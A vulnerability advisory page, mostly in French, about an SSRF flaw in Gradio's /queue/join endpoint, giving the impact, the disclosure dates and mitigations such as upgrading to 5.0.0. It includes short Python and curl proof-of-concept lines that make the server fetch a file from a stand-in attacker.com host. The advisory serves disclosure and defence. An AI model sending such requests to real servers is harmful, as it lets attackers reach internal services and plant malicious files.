Gradio vulnérable à une SSRF dans le paramètre de chemin de /queue/join

L'impact principal de cette vulnérabilité réside dans la capacité d'un attaquant à exploiter le serveur Gradio comme un proxy pour accéder à des ressources internes qui ne sont pas directement accessibles depuis l'extérieur. En manipulant l'endpoint /queue/join, l'attaquant peut forcer le serveur à effectuer des requêtes HTTP vers des URLs contrôlées, contournant ainsi les mesures de sécurité habituelles. Cela pourrait permettre d'accéder à des services internes, de récupérer des informations sensibles, ou même d'initier des actions non autorisées sur ces services. Le stockage local du contenu des URLs ciblées aggrave le risque, car cela facilite le téléchargement de fichiers malveillants sur le serveur.

Organizations deploying Gradio to expose machine learning models or other internal applications are at significant risk. Shared hosting environments where multiple users share the same Gradio instance are particularly vulnerable, as an attacker could potentially exploit the vulnerability to target other users' data or resources.

• python / gradio:

import requests
import urllib3

http = urllib3.PoolManager()

try:
    response = http.request('GET', 'http://your-gradio-server/queue/join?url=http://attacker.com/malicious.txt')
    print(response.status)
except Exception as e:
    print(f"Error: {e}")

• generic web:

curl -I 'http://your-gradio-server/queue/join?url=http://attacker.com/malicious.txt' | grep -i 'Location:'

1. 2024-10-10Disclosure

   disclosure

1. Réservé2024-09-19
2. Publiée2024-10-10
3. Modifiée2025-01-21
4. EPSS mis à jour2026-04-02

La mitigation principale consiste à mettre à jour Gradio vers la version 5.0.0 ou supérieure, qui corrige cette vulnérabilité. Si la mise à jour n'est pas immédiatement possible, une solution temporaire consiste à restreindre l'accès au endpoint /queue/join via un pare-feu ou un proxy inverse. Il est également recommandé de mettre en place une validation stricte des URLs autorisées à être accédées par le serveur Gradio. En cas d'utilisation d'un WAF (Web Application Firewall), configurez des règles pour bloquer les requêtes suspectes contenant des URLs malveillantes. Après la mise à jour, vérifiez que la vulnérabilité est bien corrigée en tentant d'accéder à une URL externe via l'endpoint /queue/join et en vous assurant que la requête est refusée.